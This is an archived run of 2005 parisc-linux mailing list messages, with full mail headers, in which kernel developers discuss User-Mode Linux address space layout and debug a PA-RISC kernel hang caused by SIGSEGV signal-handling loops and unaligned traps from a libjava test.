Date: Sun, 21 Aug 2005 15:19:23 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <20050821141923.GF2756@parcelfarce.linux.theplanet.co.uk>
References: <ILESU1$F6D40EC654A84E56AFFAC27CDCE1FD84@scarlet.be>
	<20050820062635.GB28839@colo.lackof.org>
	<430778F2.8020406@tiscali.be>
	<20050820234126.GA20524@colo.lackof.org>
	<20050820235516.GE2756@parcelfarce.linux.theplanet.co.uk>
	<43085796.3080309@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623914 16576 80.91.229.3 (22 Nov 2014 02:38:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:34 +0000 (UTC)
Cc: Jeff Dike <jdike@karaya.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 Matthew Wilcox <matthew@wil.cx>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Aug 2005 14:16:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 21 Aug 2005 16:16:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36B9B7D6E5;
	Sun, 21 Aug 2005 08:16:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24303-10; Sun, 21 Aug 2005 08:16:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2392C7D6F1;
	Sun, 21 Aug 2005 08:16:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 181427D6E4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 08:16:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24187-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 08:16:27 -0600 (MDT)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 4F4BC7D653
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 08:16:27 -0600 (MDT)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.43) id 1E6qfT-0000NH-U8; Sun, 21 Aug 2005 15:19:23 +0100
Content-Disposition: inline
In-Reply-To: <43085796.3080309@tiscali.be>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: k+l6Y2RAeSEkNb6WZHQhaXN1IGRvb8AH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23128

On Sun, Aug 21, 2005 at 10:29:42AM +0000, Joel Soete wrote:
> I don't have time to read all interesting 
> <http://user-mode-linux.sourceforge.net/arch-port.html>
> 
> but my main problem is always:
> [...]
>  Address space layout
> 
>     Before delving into the code, you need to do some high-level conceptual 
>     thinking about how to organize the address space of a UML process. UML maps 
> its executable, physical memory, and kernel virtual memory into the address 
> space of each of its processes. You need to decide where to put each of 
> these so as to minimize the likelihood of a process trying to allocate that 
> memory for its own use.
> 
>     The only arch hook at this point is where in the address space the UML 
>     binary is going to load. The other addresses are still hard-coded because 
> they happen to work for both i386 and ppc. UML puts its own memory in the 
> area starting at 0x5000000 and process stacks 4M below its own process 
> stack. These choices may not work on all architectures, so feel free to 
> generalize them. To locate a likely area on your arch, staring at 
> /proc/<pid>/maps of various processes on the host has been the technique so 
> far.
> 
> [...]
> 
> Any advise for the address space to use for hppa?

well ... PA processes get 3.75GB of address space (we decided to reserve
256MB in case we needed to use it for something).  So we *could* map
the UML kernel into the top 256MB.  But I think we'd be better off using
the space registers and coming up with an API to allow UML to allocate
memory in different spaces.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Sun, 21 Aug 2005 14:37:38 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <430891B2.1010507@tiscali.be>
References: <200508201751.j7KHpqIH017505@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623914 16577 80.91.229.3 (22 Nov 2014 02:38:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Aug 2005 14:38:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 21 Aug 2005 16:38:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC2977D70A;
	Sun, 21 Aug 2005 08:38:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24523-09; Sun, 21 Aug 2005 08:38:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA2797D701;
	Sun, 21 Aug 2005 08:37:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F8797D6EF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 08:37:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24415-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 08:37:54 -0600 (MDT)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 4F4127D6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 08:37:54 -0600 (MDT)
Original-Received: from (ip-213-49-168-89.dsl.scarlet.be [213.49.168.89]) 
	by xizor.is.scarlet.be  with ESMTP id j7LEbcC07937; 
	Sun, 21 Aug 2005 16:37:39 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.10) Gecko/20050802 Debian/1.7.10-1
X-Accept-Language: en
In-Reply-To: <200508201751.j7KHpqIH017505@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: m/R6Yz1seSEkbr6WZHQhaXN1IGRvb8D3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23129



John David Anglin wrote:
>>>TOC:
>>>
>>>r2	__handle_mm_fault+0x68  (return from call to pte_alloc_map)
>>>IIA	__handle_mm_fault+0x190
>>>
>>>It looks as if this might have been caused by Process_3.exe in the
>>>libjava GCC testsuite.
>>
>>Does it always hang in the same place? How much RAM/swap do you have in 
>>your system? Does it hang more/less if you disable swap?
> 
> 
> Had another hang last night.  Here is the TOC for it:
> 
> r2	intr_check_sig+0
> IIA	handle_interruption+0x30
> r26,r5	code = 0x1a = 26 => Data Memory Access Rights Trap
> 
mmm, from pure user point of view that sounds a bit like a segv?

and btw in traps.c still stand some other
[...]
     479 void handle_interruption(int code, struct pt_regs *regs)
     480 {
[...]
     737                 force_sig_info(SIGSEGV, &si, current);
[...]
     781                 force_sig_info(SIGSEGV, &si, current);
[...]

This last one is specialy interesting as (if I well understand) ending handle_interruption() for case 26.

Unfortunately, not yet find how to fix it:
	o as tausq did for signal.c
	o s/force_sig_info(SIGSEGV, &si, current)/force_sig(SIGSEGV, current)/

Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Sun, 21 Aug 2005 11:47:48 -0400 (EDT)
Lines: 46
Approved: news@gmane.org
Message-ID: <200508211547.j7LFlmLQ022122@hiauly1.hia.nrc.ca>
References: <430891B2.1010507@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623914 16581 80.91.229.3 (22 Nov 2014 02:38:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Aug 2005 15:47:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 21 Aug 2005 17:47:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 218F37D711;
	Sun, 21 Aug 2005 09:47:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25082-09; Sun, 21 Aug 2005 09:47:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA8737D704;
	Sun, 21 Aug 2005 09:47:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC2997D6E9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 09:47:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25082-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 09:47:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 140B77D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 09:47:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7LFlnnV022123; Sun, 21 Aug 2005 11:47:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7LFlmLQ022122;
	Sun, 21 Aug 2005 11:47:48 -0400 (EDT)
In-Reply-To: <430891B2.1010507@tiscali.be> from "Joel Soete" at Aug 21,
	2005 02:37:38 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Z8d6Y917eSEkML6WZHQhaXN1IGRvb8D4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23130

>      737                 force_sig_info(SIGSEGV, &si, current);
> [...]
>      781                 force_sig_info(SIGSEGV, &si, current);
> [...]
> 
> This last one is specialy interesting as (if I well understand) ending handle_interruption() for case 26.
> 
> Unfortunately, not yet find how to fix it:
> 	o as tausq did for signal.c
> 	o s/force_sig_info(SIGSEGV, &si, current)/force_sig(SIGSEGV, current)/

Hmmm, possibly all SIGSEGV calls to force_sig_info are potentially
subject to looping.  I see ia64 defines a function force_sigsegv_info.
The important difference being the following bit of code:

        if (sig == SIGSEGV) {
		/*
		 * Acquiring siglock around the sa_handler-update is almost
		 * certainly overkill, but this isn't a
		 * performance-critical path and I'd rather play it safe
		 * here than having to debug a nasty race if and when
		 * something changes in kernel/signal.c that would make it
		 * no longer safe to modify sa_handler without holding the
		 * lock.
		*/
		spin_lock_irqsave(&current->sighand->siglock, flags);
		current->sighand->action[sig - 1].sa.sa_handler = SIG_DFL;
		spin_unlock_irqrestore(&current->sighand->siglock, flags);
	}

where it looks as if it resets the handler for the signal to SIG_DFL.
This same bit of code is in force_sigsegv.  If we were to do this, I
see that we need to handle SEGV_MAPERR and SI_KERNEL.

I think we may also want to reset the handler for SIGBUS.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Sun, 21 Aug 2005 23:53:39 +0800
Lines: 30
Approved: news@gmane.org
Message-ID: <4308A383.8090704@tausq.org>
References: <200508201751.j7KHpqIH017505@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623915 16585 80.91.229.3 (22 Nov 2014 02:38:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Aug 2005 15:53:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 21 Aug 2005 17:53:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58C257D712;
	Sun, 21 Aug 2005 09:52:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25345-09; Sun, 21 Aug 2005 09:52:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8DD107D70B;
	Sun, 21 Aug 2005 09:52:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 094867D701
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 09:52:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25215-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 09:52:55 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 46C477D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 09:52:55 -0600 (MDT)
Original-Received: from 43.203.17.210.dyn.pacific.net.hk ([210.17.203.43]
	helo=[192.168.1.101])
	by stl.com.hk with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32)
	(Exim 4.50) id 1E6s2A-0000e7-F4; Sun, 21 Aug 2005 23:46:54 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20050331)
X-Accept-Language: en-us, en
In-Reply-To: <200508201751.j7KHpqIH017505@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CcZ6Y9JaeSEkRr6WZHQhaXN1IGRvb0BD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23131

> I found that Process_3.exe was generating unaligned exceptions.  This
> was a result of a new macro define being added to libjava
> (UNWRAP_FUNCTION_DESCRIPTOR).  This macro was incorrectly doing function
> pointer canonicalization resulting in the unaligned exceptions.  I was
> testing a fix for this when I got the above hang.

Process_3.exe was causing unaligned traps, but it was not the process 
running when the system hung, right?

> I have the feeling that there is at least one more circumstance where
> handle_exceptions can loop.

In this case, when the machine hung, was it the same as before, where it 
will still respond to sysrq and pings?

In the previous case (stack overflow), I was able to debug this further 
by running the hanging process in the background (i.e. ./cc1plus ... &). 
Now when it hangs, I was still able to use the console and run strace on 
it. I wonder if you ran the gcc testsuite in the background, will the 
machine still respond sufficiently when it is "hung" that you can do 
some more debugging? strace should tell you if you are having another 
signal loop.

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Sun, 21 Aug 2005 12:46:38 -0400 (EDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <200508211646.j7LGkcJa022512@hiauly1.hia.nrc.ca>
References: <4308A383.8090704@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623915 16588 80.91.229.3 (22 Nov 2014 02:38:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Aug 2005 16:46:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 21 Aug 2005 18:46:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE3F57D750;
	Sun, 21 Aug 2005 10:46:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25811-05; Sun, 21 Aug 2005 10:46:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E3E517D71E;
	Sun, 21 Aug 2005 10:46:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2DE1A7D71A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 10:46:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25811-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 10:46:39 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 878DC7D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Aug 2005 10:46:39 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7LGkcnV022514; Sun, 21 Aug 2005 12:46:39 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7LGkcJa022512;
	Sun, 21 Aug 2005 12:46:38 -0400 (EDT)
In-Reply-To: <4308A383.8090704@tausq.org> from "Randolph Chung" at Aug 21,
	2005 11:53:39 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oMp6YzBkeSEkQb6WZHQhaXN1IGRvb4AR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23132

> Process_3.exe was causing unaligned traps, but it was not the process 
> running when the system hung, right?

I'm not sure.  It was the last test run in the log but this isn't a
reliable indication.

I installed a GCC fix last night which fixes Process_3.exe, so it doesn't
generate the unaligned faults anymore.  The fixes stack traces under
java.  However, there's still a problem when gij is used (PR libgcj/21692).
I haven't figured out how to debug this.

> In this case, when the machine hung, was it the same as before, where it 
> will still respond to sysrq and pings?

I'm not sure about sysrq but the machine was still responding to pings.

> In the previous case (stack overflow), I was able to debug this further 
